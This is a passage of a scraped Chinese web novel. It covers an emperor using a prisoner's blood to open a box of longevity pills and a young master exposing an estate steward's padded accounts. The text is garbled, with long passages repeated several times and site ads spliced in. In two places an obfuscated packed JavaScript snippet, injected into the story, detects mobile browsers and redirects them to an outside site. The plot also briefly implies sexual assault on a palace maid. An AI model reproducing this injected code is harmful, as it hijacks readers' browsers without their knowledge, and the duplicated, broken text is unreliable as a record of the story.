定襄国公站在大殿内,腰挎沉重的钢刀,身形威武,仿若一座无法撼动的高山,他身边的总旗则跪在地上呈禀屠乐正家九族等事宜。 上首的帝王脸色意味不明,“乐正崎在刑部的牢房里?” 刑部侍郎曾仕棋出列,“回陛下,乐正崎一直待在刑部。” 皇上口中轻飘飘地说了三字,“赐杖杀。” 曾仕棋脸色不变,垂首行礼,“谨遵陛下圣谕。” 一直没有出声的定襄国公往前踏了一步,皇上瞳孔微缩,手握在龙椅上的力道下意识加重 。 殿前伺候的大太监怀抱拂尘挡在帝王身前半个身子,“国公有何事要启奏?” 定襄国公恍若未见,他大手一挥,殿外便有人抬着一座黑沉沉的木箱入殿,“陛下,臣在抄家之时,手下有人发现了乐正家祠堂的密室,其中搜寻到宝物无数,有一木箱内封存的都是稀世珍宝,臣不敢妄动,特呈来给陛下。” 帝王心存警惕,“郑瑞,你去打开箱子替朕看看。” 大太监郑瑞走下高阶,用手中拂尘的木柄掀开箱子,捡了其中三样东西拢进怀里,又返还皇帝身边,“陛下请看,国公大人说得不错,箱中之物确实都不似凡品。” 郑瑞是跟在帝王身边贴身伺候掌印太监,从小伺候皇上,是整个皇宫所有太监中的权利最高者,甚至能直接参与政务决策。这么些年他什么贵重东西没见过?他说不凡,那就真的价值非凡。 郑瑞怀中的三样东西都是精巧的盒子,金盒掀开是吐蕃一代特产和田玉所雕琢的玉玺,上印着吐谷浑国的文字。这块玉的水头和成色甚至可以比禹国的传国玉玺玉质更佳。 皇上只是看了一眼,便淡淡吩咐,“毁了。” 郑瑞即刻懂了帝王的意思,将玉玺递给专门跑腿的随堂太监喜公公,“拿去吧。” 喜公公得令,捧着玉玺便出了大殿。 剩下的木盒掀开则是一块用蜜蜡封存的顶级香料,顶端有用过一点的痕迹,联想到吐谷浑的来历及当地特产,众人都能猜到这块香是当地有名的安息香。 “让太医院院使查验一番,若无异便一分为二,送到皇后和聂贵妃宫中。” 皇上这会儿已经没有多大兴致了,他从龙椅上起身,手指无意识的点了点不知何时被郑瑞放到桌角上的最后一个宝石盒子,被上面凹凸不平镶嵌着的大小宝石的手感所喜,将东西拿起来把玩了两下。 整个宝石盒子上面嵌着密密麻麻的宝石,且颗颗价值不菲,工艺精湛。 可奇怪的是其上并无一点缝隙,说是盒子是因为能感觉出它内部空旷,是空心的,但放在手中用肉眼却难以找到开合的方法。 皇上拿起玉盒在手中把玩,细细观看其中的特殊之处。这个盒子似乎存放了很久,上面的玉质都有些乳化,边缘处的宝石也有磨损。 宫内最不缺的就是珠宝,皇上本来只是一时赏玩,并未深究。是可随后他突然 想到了某个关于乐正家的传闻,平稳的呼吸一滞,“把盒子给朕打开!” 殿内的太监侍卫轮番上阵,以刀斧劈砍,火焰热熔,不论何种办法,都没能在盒子上留下一丝痕迹。 “咦?”有个小太监突然轻咦出声。 郑瑞呵斥了一句,“怎可殿前失仪!” 小太监忙跪地求饶,皇上将他叫到身边,“你可是发现了其中蹊跷?” 小太监怕的要死,说话时牙齿都在轻轻碰响,声音又细又抖,像是被人掐着嗓子说话,连呼吸都在跟着发颤,“禀……陛下,奴才觉得这宝盒上有一宝石过于锐利,上头的红像是真的被血沁染所致。” 他的话一出,皇上顺着他手指所指之处,当真发现了边角有一颗米粒大的红色宝石,尖峰处确实还算锐利,只是太小了,左右更出彩的宝石将它挤在角落,不经意根本发现不了。 上面那一抹红,也确实如小太监所说,像是被鲜血沁染过。 “去拦住刑部的人,传朕口谕,将乐正崎带到御书房。”皇上眼眸中似乎闪过某种狂热的情绪,顾及到定襄国公在场,生生压抑了下来。 聂川他不相信,但吐谷浑国的血脉他信! 帝王脚步匆忙的离开大殿,趴在地上的小太监无声的被定襄国公踢了一脚,从地上爬起来没敢左顾右盼,远远的坠在郑瑞后面跟着。 乐正崎被抬进御书房的时候人已经昏迷不醒,口中含了一片老参,只剩下一口气吊着。 皇上正拿着一本陈旧的史记观看,郑瑞拿侧眼瞥了一眼,上书头一排便是,古·吐谷浑,最后一位在任国主,享年二百零一岁。 这其实是很久以前的传闻,但几乎所有国君在垂老之际都会跑到吐谷浑国旧土去翻个天翻地覆,甚至当年吐谷浑的灭亡,也与这位长生的国主有莫大关系。 当初有无数国家去争抢,将吐谷浑血洗了一遍又一遍,也只得到只言片语的线索。 吐谷浑有一宝,名曰赤霞丹。 其色如朝霞映雪,服一丸可令常人神完气足,服二丸可使沉疴尽去,服三丸足可延寿十载。 其君得之,常服此丹,寿至二百余载,方仙逝离去。 驾崩之日,天边丹顶引吭,梵音阵阵。似有仙乐接引。 君遗赤霞丹一炉,藏以国宝羊脂玉盒内,赋嵌灵石,石中血 色流光,以固其灵气。 后人偶得,分而食之,皆龟鹤遐龄,故传为仙品。 没有任何一任帝王能抵抗长生的诱惑,真正坐上那个凌驾于众人之上,可以掌控旁人生死的位子,最怕的不是儿孙夺位,而是自己日渐苍老,而子孙却逐渐高壮。 昔日忠于自己的子民们迫不及待地转头拥护别人上位,恨不得让旧主立即让位,好成全他们的从龙之功。 皇上想到前后两任不知死活的顺天府尹,眼神异常狠厉,亲手将手中的宝石盒子对准乐正崎的伤口处狠狠按了下去。 御书房此刻一个外人也没有,抬乐正崎进来的侍卫也推至门外,只余下皇上的心腹郑瑞胆颤心惊的看着这一幕,生怕乐正崎就这样送了命。 “真的打开了!没想到掺杂了外族血脉的吐谷浑后代一样管用,莫不是因为他母亲是王室?”皇上看着手中已经裂成六瓣的盒子满眼惊奇与狂喜。 价值连城的宝石玉盒被毁坏,从中露出一只巴掌大的精巧玉丹炉,又是通体无缝的构造,整座丹炉精致小巧,仿佛不似凡物。 皇上想都没想用力将玉丹炉摔在地上,竟然真的摔出三粒赤红色的丹药出来。 郑瑞一粒粒捡起丹药将其放在皇上面前的时候,这个全国最尊敬的男人双手都在颤抖,他恨不得立即将此丹药吞进腹中。 粗重的呼吸在空旷的御书房响起,好一会儿皇上才起身重新坐回桌案后面,捏着那三粒花生大小的丹药调整呼吸。 殿内躺着的活**有些碍眼了,皇上这会儿似乎才想起乐正崎和皇室有点牵扯,“到底是朕皇叔的儿子,如今皇叔虽然不在了,他好歹也算是半个皇室血脉,派太医院的人好好救治,送回家去吧。” 郑瑞低头称是,唤了门口的侍卫将乐正崎抬回家,又命喜公公去太医院找人去乐正崎家医治。 等人都派了出去,他亲自关上御书房的大门。 做为皇帝亲信,他显然已经预料到了什么。 一刻钟后,偏殿过来添茶的宫女被一只苍白枯瘦的手拖进了御书房,宫女凄厉不堪受辱的声音在御书房内回荡,其中还掺杂着太监阴柔尖细、带着兴奋的吼叫。 帝王朗声在笑,守门的侍卫却胃部翻江倒海,恶心又难以置信的看着同伴。 同伴的脸色一样难看,却一直死死低着头,不敢发出一点声 响。 这宫中令人作呕的事还少吗? —— 孟晚说了带大家去沐泉庄玩,等出了正月,天稍稍回暖,冬日的积雪化了干净,地面晒得半干不干的,他便立即组织起来。 说了不带孩子就是不带孩子,把一脸哀怨的阿砚扔在家里,孟晚毫不留恋的上了马车。 买沐泉庄也是个巧合,去年他初入京,急着买住人的宅子,杂七杂八找了好几个牙行。后来宅子没有合适的,倒是相中了郊外的这座有汤泉庄子。 当时这个庄子卖的还挺抢手,孟晚是花了高价才买到手的,后来一直忙着搬家的事,一时半会也没顾得上。 这次来玩是玩的,盘盘旧账,再看看这庄子里头种些什么粮食果树才是正经活计。 孟晚带上了黄叶、枝繁和桂谦,黄叶早年一直跟在他身边,盘算一个小小的庄子手到擒来。家里的仆人都学了识字算数,桂谦算是其中的佼佼者,这次跟着来学学,往后也好自己出来走动。 沐泉庄算是中小型庄子,不算有汤泉的小山头,约莫有六百亩,其中可以用来耕种的面积有四百亩,余下挨着山头建了供给主家的院落。 庄子中心处则是仓库和晒谷场,一片很宽阔的平台,蚩羽驾着车进来的时候看到有很多小孩在那里玩,还有大人靠着柴垛晒太阳。 宋亭舟正月十五过后就已经回到顺天府当值,知道孟晚今天要去庄子上,还让陶十一带着一队衙役过来护送。 三辆马车并一干起码的衙役驶入,引起了佃户们的注意。 “贵人是打哪儿来的。”庄头是个五十多岁又黑又矮的小老头,哈着腰小跑过来问道。 蚩羽勒停马车,“你主家。”前几天蚩羽来的时候是大晚上,又全程蒙着脸,幸亏宋亭舟让他先回家拿了贴文再去劫人,不然庄子里的人还真不一定会听他的。 “年前买了这座庄子,一直没来得及带人过来看看,你就是庄头?”孟晚拿着手里的盖着私账的贴文下了车,又带上庄子地契等,务必这次来要让庄里的庄头认认人。 “原来是孟夫郎亲自过来了,您买下沐泉庄的时候,牙行的人过来提点过小的们。”庄头可能也是猜到了孟晚的来历,跪在孟晚面前就要给他行大礼。 “虚礼就不用了,快起来吧。”孟晚将人叫起来,态度不冷不热,“我这次来是带了客人泡汤泉,你们该干什么干什么,不必顾忌我们。” 庄头忙殷勤道:“半山腰的房屋久不住人,小的这就叫家里婆娘去洒扫一番,供夫郎与贵客休憩。” 响。 这宫中令人作呕的事还少吗? —— 孟晚说了带大家去沐泉庄玩,等出了正月,天稍稍回暖,冬日的积雪化了干净,地面晒得半干不干的,他便立即组织起来。 说了不带孩子就是不带孩子,把一脸哀怨的阿砚扔在家里,孟晚毫不留恋的上了马车。 买沐泉庄也是个巧合,去年他初入京,急着买住人的宅子,杂七杂八找了好几个牙行。后来宅子没有合适的,倒是相中了郊外的这座有汤泉庄子。 当时这个庄子卖的还挺抢手,孟晚是花了高价才买到手的,后来一直忙着搬家的事,一时半会也没顾得上。 这次来玩是玩的,盘盘旧账,再看看这庄子里头种些什么粮食果树才是正经活计。 孟晚带上了黄叶、枝繁和桂谦,黄叶早年一直跟在他身边,盘算一个小小的庄子手到擒来。家里的仆人都学了识字算数,桂谦算是其中的佼佼者,这次跟着来学学,往后也好自己出来走动。 沐泉庄算是中小型庄子,不算有汤泉的小山头,约莫有六百亩,其中可以用来耕种的面积有四百亩,余下挨着山头建了供给主家的院落。 庄子中心处则是仓库和晒谷场,一片很宽阔的平台,蚩羽驾着车进来的时候看到有很多小孩在那里玩,还有大人靠着柴垛晒太阳。 宋亭舟正月十五过后就已经回到顺天府当值,知道孟晚今天要去庄子上,还让陶十一带着一队衙役过来护送。 三辆马车并一干起码的衙役驶入,引起了佃户们的注意。 “贵人是打哪儿来的。”庄头是个五十多岁又黑又矮的小老头,哈着腰小跑过来问道。 蚩羽勒停马车,“你主家。”前几天蚩羽来的时候是大晚上,又全程蒙着脸,幸亏宋亭舟让他先回家拿了贴文再去劫人,不然庄子里的人还真不一定会听他的。 “年前买了这座庄子,一直没来得及带人过来看看,你就是庄头?”孟晚拿着手里的盖着私账的贴文下了车,又带上庄子地契等,务必这次来要让庄里的庄头认认人。 “原来是孟夫郎亲自过来了,您买下沐泉庄的时候,牙行的人过来提点过小的们。”庄头可能也是猜到了孟晚的来历,跪在孟晚面前就要给他行大礼。 “虚礼就不用了,快起来吧。”孟晚将人叫起来,态度不冷不热,“我这次来是带了客人泡汤泉,你们该干什么干什么,不必顾忌我们。” 庄头忙殷勤道:“半山腰的房屋久不住人,小的这就叫家里婆娘去洒扫一番,供夫郎与贵客休憩。” 响。 这宫中令人作呕的事还少吗? —— 孟晚说了带大家去沐泉庄玩,等出了正月,天稍稍回暖,冬日的积雪化了干净,地面晒得半干不干的,他便立即组织起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459507|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说了不带孩子就是不带孩子,把一脸哀怨的阿砚扔在家里,孟晚毫不留恋的上了马车。 买沐泉庄也是个巧合,去年他初入京,急着买住人的宅子,杂七杂八找了好几个牙行。后来宅子没有合适的,倒是相中了郊外的这座有汤泉庄子。 当时这个庄子卖的还挺抢手,孟晚是花了高价才买到手的,后来一直忙着搬家的事,一时半会也没顾得上。 这次来玩是玩的,盘盘旧账,再看看这庄子里头种些什么粮食果树才是正经活计。 孟晚带上了黄叶、枝繁和桂谦,黄叶早年一直跟在他身边,盘算一个小小的庄子手到擒来。家里的仆人都学了识字算数,桂谦算是其中的佼佼者,这次跟着来学学,往后也好自己出来走动。 沐泉庄算是中小型庄子,不算有汤泉的小山头,约莫有六百亩,其中可以用来耕种的面积有四百亩,余下挨着山头建了供给主家的院落。 庄子中心处则是仓库和晒谷场,一片很宽阔的平台,蚩羽驾着车进来的时候看到有很多小孩在那里玩,还有大人靠着柴垛晒太阳。 宋亭舟正月十五过后就已经回到顺天府当值,知道孟晚今天要去庄子上,还让陶十一带着一队衙役过来护送。 三辆马车并一干起码的衙役驶入,引起了佃户们的注意。 “贵人是打哪儿来的。”庄头是个五十多岁又黑又矮的小老头,哈着腰小跑过来问道。 蚩羽勒停马车,“你主家。”前几天蚩羽来的时候是大晚上,又全程蒙着脸,幸亏宋亭舟让他先回家拿了贴文再去劫人,不然庄子里的人还真不一定会听他的。 “年前买了这座庄子,一直没来得及带人过来看看,你就是庄头?”孟晚拿着手里的盖着私账的贴文下了车,又带上庄子地契等,务必这次来要让庄里的庄头认认人。 “原来是孟夫郎亲自过来了,您买下沐泉庄的时候,牙行的人过来提点过小的们。”庄头可能也是猜到了孟晚的来历,跪在孟晚面前就要给他行大礼。 “虚礼就不用了,快起来吧。”孟晚将人叫起来,态度不冷不热,“我这次来是带了客人泡汤泉,你们该干什么干什么,不必顾忌我们。” 庄头忙殷勤道:“半山腰的房屋久不住人,小的这就叫家里婆娘去洒扫一番,供夫郎与贵客休憩。” 响。 这宫中令人作呕的事还少吗? —— 孟晚说了带大家去沐泉庄玩,等出了正月,天稍稍回暖,冬日的积雪化了干净,地面晒得半干不干的,他便立即组织起来。 说了不带孩子就是不带孩子,把一脸哀怨的阿砚扔在家里,孟晚毫不留恋的上了马车。 买沐泉庄也是个巧合,去年他初入京,急着买住人的宅子,杂七杂八找了好几个牙行。后来宅子没有合适的,倒是相中了郊外的这座有汤泉庄子。 当时这个庄子卖的还挺抢手,孟晚是花了高价才买到手的,后来一直忙着搬家的事,一时半会也没顾得上。 这次来玩是玩的,盘盘旧账,再看看这庄子里头种些什么粮食果树才是正经活计。 孟晚带上了黄叶、枝繁和桂谦,黄叶早年一直跟在他身边,盘算一个小小的庄子手到擒来。家里的仆人都学了识字算数,桂谦算是其中的佼佼者,这次跟着来学学,往后也好自己出来走动。 沐泉庄算是中小型庄子,不算有汤泉的小山头,约莫有六百亩,其中可以用来耕种的面积有四百亩,余下挨着山头建了供给主家的院落。 庄子中心处则是仓库和晒谷场,一片很宽阔的平台,蚩羽驾着车进来的时候看到有很多小孩在那里玩,还有大人靠着柴垛晒太阳。 宋亭舟正月十五过后就已经回到顺天府当值,知道孟晚今天要去庄子上,还让陶十一带着一队衙役过来护送。 三辆马车并一干起码的衙役驶入,引起了佃户们的注意。 “贵人是打哪儿来的。”庄头是个五十多岁又黑又矮的小老头,哈着腰小跑过来问道。 蚩羽勒停马车,“你主家。”前几天蚩羽来的时候是大晚上,又全程蒙着脸,幸亏宋亭舟让他先回家拿了贴文再去劫人,不然庄子里的人还真不一定会听他的。 “年前买了这座庄子,一直没来得及带人过来看看,你就是庄头?”孟晚拿着手里的盖着私账的贴文下了车,又带上庄子地契等,务必这次来要让庄里的庄头认认人。 “原来是孟夫郎亲自过来了,您买下沐泉庄的时候,牙行的人过来提点过小的们。”庄头可能也是猜到了孟晚的来历,跪在孟晚面前就要给他行大礼。 “虚礼就不用了,快起来吧。”孟晚将人叫起来,态度不冷不热,“我这次来是带了客人泡汤泉,你们该干什么干什么,不必顾忌我们。” 庄头忙殷勤道:“半山腰的房屋久不住人,小的这就叫家里婆娘去洒扫一番,供夫郎与贵客休憩。” 响。 这宫中令人作呕的事还少吗? —— 孟晚说了带大家去沐泉庄玩,等出了正月,天稍稍回暖,冬日的积雪化了干净,地面晒得半干不干的,他便立即组织起来。 说了不带孩子就是不带孩子,把一脸哀怨的阿砚扔在家里,孟晚毫不留恋的上了马车。 买沐泉庄也是个巧合,去年他初入京,急着买住人的宅子,杂七杂八找了好几个牙行。后来宅子没有合适的,倒是相中了郊外的这座有汤泉庄子。 当时这个庄子卖的还挺抢手,孟晚是花了高价才买到手的,后来一直忙着搬家的事,一时半会也没顾得上。 这次来玩是玩的,盘盘旧账,再看看这庄子里头种些什么粮食果树才是正经活计。 孟晚带上了黄叶、枝繁和桂谦,黄叶早年一直跟在他身边,盘算一个小小的庄子手到擒来。家里的仆人都学了识字算数,桂谦算是其中的佼佼者,这次跟着来学学,往后也好自己出来走动。 沐泉庄算是中小型庄子,不算有汤泉的小山头,约莫有六百亩,其中可以用来耕种的面积有四百亩,余下挨着山头建了供给主家的院落。 庄子中心处则是仓库和晒谷场,一片很宽阔的平台,蚩羽驾着车进来的时候看到有很多小孩在那里玩,还有大人靠着柴垛晒太阳。 宋亭舟正月十五过后就已经回到顺天府当值,知道孟晚今天要去庄子上,还让陶十一带着一队衙役过来护送。 三辆马车并一干起码的衙役驶入,引起了佃户们的注意。 “贵人是打哪儿来的。”庄头是个五十多岁又黑又矮的小老头,哈着腰小跑过来问道。 蚩羽勒停马车,“你主家。”前几天蚩羽来的时候是大晚上,又全程蒙着脸,幸亏宋亭舟让他先回家拿了贴文再去劫人,不然庄子里的人还真不一定会听他的。 “年前买了这座庄子,一直没来得及带人过来看看,你就是庄头?”孟晚拿着手里的盖着私账的贴文下了车,又带上庄子地契等,务必这次来要让庄里的庄头认认人。 “原来是孟夫郎亲自过来了,您买下沐泉庄的时候,牙行的人过来提点过小的们。”庄头可能也是猜到了孟晚的来历,跪在孟晚面前就要给他行大礼。 “虚礼就不用了,快起来吧。”孟晚将人叫起来,态度不冷不热,“我这次来是带了客人泡汤泉,你们该干什么干什么,不必顾忌我们。” 庄头忙殷勤道:“半山腰的房屋久不住人,小的这就叫家里婆娘去洒扫一番,供夫郎与贵客休憩。” 第27章 沐泉庄(上) 庄头姓董孟晚听到其余人都管他叫董大。 沐泉庄以前实际叫董家庄村子里的**多数都姓董早年董家庄闹饥荒整个村子的土地都被人给买下来了。 村里人无地可种为了不做流民只能当佃户。 沐泉庄其实只是董家庄的一部分还有一些有地的村民在不远处汇聚仍叫董家庄。 董大媳妇带着两个儿夫郎手脚麻利的提着笤帚、端着水盆上了半山腰。 说是小山实际叫小丘更加合适统共占地也没有多广阔山势也较为平坦从山下能望见上面还种了几颗果树。 孟晚没急着上山去他先溜溜达达的在庄子的小径上逛兰娘和郑淑慎也轻易不出城来这会儿也在自家丫鬟小侍的陪同下随他四处走动。 “庄子里这些年的账本可在你这里存放?”孟晚拽了根地边的枯草问跟在后面的庄头。 庄头恍惚了一下似是没想到他会突然问道账本“回夫郎的话账本是在我这儿放着可是之前的账本都被前庄主给带走了。去年您买下的庄子的时候地里的粮食已经收完了年后小人又采买了一批稻谷种子……” 孟晚怎么会听不懂他这点小心思他抻了下身上银灰色鼠皮斗篷毛茸茸的兜帽漫不经心的问:“就是说我接手沐泉庄之后庄里并无半点进项反而都是支出了一批对吗?” 庄头赔笑着点头“夫郎真的通透一听就懂。” 孟晚看着他一身厚实的棉衣和泛着油光的嘴巴忽而笑了“今日赶了半天的路我也乏累了明天一早到我跟前回话。” 这群庄户人家哪里见过孟晚这般明艳貌美的夫郎 蚩羽寨子里人际关系简单大家也都单纯尚且对这些目光感到不大舒服。被人发卖过的桂谦和枝繁都敏感的察觉到那些浑浊的目光。 两人一一瞪了过去他们夫郎是什么样的人物这群人也敢用那种下流的眼神垂涎就该让大人身边的侍卫把他们眼珠子都给扣下来。 打发走了董大孟晚招呼兰娘和郑淑慎一起上山。陶十一和衙役们毕竟是汉子他们住在山脚下的房子里守着不同他们一起上去。 上山小路上铺的是青石板化了雪又落了尘脏了 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 吧唧不太美观。 “岭南运来的灰粉过阵子叫人拉几车来庄子上把房屋重新翻修一番庄子上的路和上山的台阶都换成灰粉制的。”孟晚边爬山边嘱咐黄叶。 黄叶一一记在心里怕自己忘了还叫枝繁和桂谦也帮他记记。 桂谦琢磨了一下“夫郎修台阶的时候还能掺些砾石防滑又好看。” 孟晚回头瞧了他一眼“不错这事就交给你来办了庄子修缮的事也一并交给你管。后天回家你去找叶哥儿领钱一项项该花费多少都详细记好别贪图外人那些小财办好了我自然有赏。” 桂谦喜不自胜“知道了夫郎您就放心吧!” 他们没走几步就上了半山腰的房舍前院被齐腰高的篱笆圈住里面的杂草刚被清理好。 蚩羽率先走进去开路正对门的北面是一排可以住人的屋舍东面是厨房柴房。西面则是一间四四方方的浴房占地很大那一汪汤泉就被包围在其中。 主人的屋舍是个大套间堂屋里也有床铺里面又分卧房和外间。 屋里被董大的媳妇和儿夫郎擦拭过黄叶嫌他们收拾的不干净又带着枝繁桂谦重新收拾一遍旧的铺盖也都换成了他们自带的。 收拾完了之后桂谦被孟晚打发着去庄里打探消息孟晚他们收拾收拾准备泡汤泉。 “蚩羽你去外面的小汤泉泡着去别来我们这里。”孟晚嫌弃的看着脱了一半衣裳的蚩羽。 一共两汪汤泉外间的小汤泉比浴桶也大不了多少要一人一次轮流泡黄叶和兰娘身边的虎妞、郑淑慎身边的侍书都在外间怕主子有其他吩咐挨个下水好轮流换班。 蚩羽委屈巴巴的出去他也想泡大汤池! 郑淑慎穿着明衣从屏风后走出来他拍了拍胸脯“蚩羽在这儿我还真不好意思脱衣裳。” 兰娘附和道:“我也是若不是他生着孕痣又没有男子才有的喉结谁能看得出他是小哥儿?” “蚩羽是我夫君救下的鹋族小哥儿他们寨子的人都天真无邪的狠别看蚩羽这么壮 他和宋亭舟在岭南的稀奇经历三两句都讲不完孟晚也不光说有时还问问郑淑慎和兰娘。 三人相谈甚欢大家都穿着明 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 衣下水真脱光也不自在。孟晚琢磨着下次宋亭舟休沐他俩悄悄过来泡到时候没有外人在岂不是想怎么泡就怎么泡? 兰娘就算了 他从来没有在外宽衣解带过哪怕是穿着明衣下水姿态也是紧绷的。 直到后来与孟晚兰娘一起谈天说地渐渐开始打开心扉也开始吐露一些父母施加的压力听到孟晚说到有趣的地方也会捂着嘴巴开怀的笑。 黄叶他们洗漱的快出来后就开始准备晚膳他们自带了粮食和菜肉桂谦又从佃户家里买了几只鸡。 冬天青菜少只有白菜萝卜土豆之类饶是如此黄叶也张罗出来六菜一汤。白菜炖五花肉片、清炒土豆丝、鸡块炖蘑菇板栗、火腿萝卜汤家里做现成的香酥羽脍放油锅里复炸一遍再加上一道来时从酒楼里买现成的酒酿清蒸羊肉众人都吃的赞不绝口。 出来一趟大家都觉得身心舒畅夜里三人睡在内间的火炕上还没聊上两句便纷纷进入梦乡。 第二天一早孟晚叫陶十一带人陪着兰娘和郑淑慎在庄子里逛逛他自己则处理正事。 黄叶看着手中的账本险些气笑“夫郎董大一大早送来的账本上面写着欠款共三项。” 孟晚将账本接了过去只见上头用规规矩矩的馆阁体写道:“寒冬将至庄头董大至布庄赊买二百斤棉花欠款四十八两以供庄户制衣防寒。又因采买粮种同粮店赊账十一两并三百四十文。后又到铁匠家里翻新农具欠下铁匠铺子十七两并八百五十文。总计七十七两并一百九十文。” 看上去似乎不多对盛京城的大户人家来说是九牛一毛不会太过在意。 黄叶问道:“夫郎要不要派人去布庄粮店核实一番?” 孟晚摸了摸手上仅书写了一页的账本上头的墨汁还新最多也就是昨晚连夜写的。 “让十一带桂谦跑一趟吧寻离城门口近的铺面尽快回来。”孟晚坐在榻上拿出另一本空白账本对照着董大呈上来的账本一一核算口中轻描淡写的说道:“这些债是董大怎么欠下来的就怎么给我吐出来。” 陶十一早上出去中午便带着桂谦回来。董大一直注意着孟晚这边的动静前脚桂谦回来后脚他就到了。 “夫郎要是有什么要小的跑腿 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的您说就是了何必麻烦官爷呢?”董大眼珠子滴溜溜的乱转。 孟晚手里攥着两本账本“董大你这账本是谁给你写的?莫不是从中有人捣鬼?怎么和我自己算了差了这么多银两呢?” 董大心里一慌没想到为了这几十两银子东家竟然真的算了账“不能……不能吧是亲戚家孩子帮忙写的两家往日是有些恩怨不至于这么坑害我吧?” 他给自己留了个后手把账本的事引到了旁人身上。 站在孟晚身边的黄叶面带讽刺的轻笑了一声笑得董大心里更是发慌。 孟晚手持账本一样样的跟他对账“年前你在布庄采买了二百斤棉花?” 董大慌忙辩解“夫郎明鉴啊上一任东家每岁冬季都会给佃户们添置棉衣小的也是自作主张了 他这话明恭暗贬孟晚若是真的追究外面便该传他吝啬至极连棉花都舍不得给佃户买诚心要苛待佃户。 孟晚笑了很好、不错这会儿还敢在他面前东拉西扯。 “乡下棉衣都是用了再拆缺了再补我倒是头次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469335|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说年年买新棉花的。” 董大哪儿想到他连这个都懂那些个官夫郎不是不辨菽麦不明菽粟的吗? 他绞尽脑汁找补“夫郎这些棉花……” “好了接着往下算。”孟晚打断他的狡辩“你亲戚账本上写着在布庄赊了二百斤棉花共四十八两那就算是二百四十文一斤棉花喽?可我手下的小厮去城中布庄询问棉花的价格怎么是八十文到一百二十文不等呢?便是按照一百二十文算二百斤的棉花也才二十四两吧?这四十八两白银又是怎么欠下的?” 孟晚没有给他喘息的机会手指点着桌面语速飞快“粮种上面写的是十一两并三百四十文庄子里不算上头的地能耕种的田亩共四百亩。四百亩田地约莫要用七石麦种粮店的麦种每石八百一十文七石便是五两并六百七十文正正好好比你报在账上的少了一半这又是怎么说的?” 屋子里寂静无声只听见孟晚口中吐出的一串串数字回来准备吃饭的兰娘和郑淑慎看这架势也没进去打扰就在门口跟着听。 “最后翻新农具欠下铁匠铺子十七两并八百五十文。锄头一百二十文一把镰刀三十文 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 犁头二百文,加在一起一户是三百五十文。沐泉庄共五十一户人家,总计这十七两并八百五十文确实不多不少,但账本上记录的是翻新还是重新采买?犁头乃耕牛犁地所用……” 孟晚恍然大悟,“难不成咱们沐泉庄竟有五十一头耕牛?” 他嘴角一直牵着笑,哪怕是账目有假,也没有发怒的意思,但董大听着他这样面色平淡的说话,反而觉得有些可怕。 怎么可能一笔笔计算的这样清楚,仿佛采买的时候就在他跟前儿似的。 董大要上哪儿给他变出来五十一头耕牛来啊?他忙否认道:“没有没有,庄子里没有那么些个耕牛!” “没有?”孟晚眼神一凝,他拍着桌案站起来,嘴里说出的话好像房檐下的冰锥,又冷又硬,能活生生将人给冰透。 “既然庄子里没有那么多的耕牛,那你就是虚报假账了?” 董大被他的架势吓到浑身发软,“啪”的一声跪倒在地上,膝盖上的凉气从下蹿到脊背上,激起他一身的鸡皮疙瘩。 这会儿他脑海一片空白,像是被五十一头耕牛给连番踢了脑门,天旋地转,又想吐,又发冷,新做得棉衣也挡不住孟晚带给他的头脑风暴。 孟晚见他如此不中用,突然语气松软下来,人也重新坐下叹了口气,引导着董大说:“看你这帮老实不禁吓,莫不是你的那个“亲戚”故意坑你做了假账?” 董大浑浑噩噩的脑子,像是被孟晚一句话突然拨开了迷雾,他眼神骤然明亮,忙不迭的叫嚷,“对对,就是我那个亲戚!” 他心里怕孟晚怪罪,匍匐在地上痛哭,“夫郎明鉴啊,小人采买那些东西的银钱,和夫郎所说是分毫不差,不知怎么就变成了那么些。” 孟晚用手托举下巴,“我就觉着董庄头是踏实可靠的人,那五十一把犁头肯定也是确有其用,总不能是董庄头欺我是个年轻夫郎,什么都不懂不明,故意诓骗东家钱财吧?按账本上的钱财算,那可是要被拉去衙门打七十板子外加徒刑两年的。” “有!”董忙道。为了赶紧应付孟晚,他硬着头皮说:“庄子里有……有一家,不……有三家养牛的人家,去年冬天又下了牛犊,加在一起正好五十一头。” 孟晚惊奇,“原来庄子里真有如此多的牛,昨日怎么没见到呢?” 董大骑虎难下,为了掩盖谎言,只能咬着牙往下圆,“牛犊都太小了,怕给冻坏了,都圈养在家,没敢放出来。” 孟晚点点头,“哦,原来如此,明天我想去看看这些牛,不知道董庄头方不方便?” “方便,方便。”董大露出一个比哭还难看的笑容,心中暗暗叫苦,其他的都好说,五十一头耕牛他可上哪儿弄去啊! 第28章 沐泉庄(中) 董大强颜欢笑着离开,出了门就疯了似的跑下了山。 蚩羽手搭凉棚眺望,董大下山、跑回家、把藏起来的马匹套好缰绳,带着儿子、侄子、外甥一大群人飞奔出去,溅起一地的灰土。 “夫郎,他们跑得飞快,不会不回来了吧?”蚩羽进去跟孟晚汇报。 孟晚把手中的账本递给黄叶,叫他妥善放好,“放心吧,他舍不得跑。知道他那么有钱为什么还做佃户吗?庄子里的油水可比在外苦哈哈的种地多多了。” 蚩羽一知半解的挠挠头,夫郎说不会跑,那就是不会跑咯。 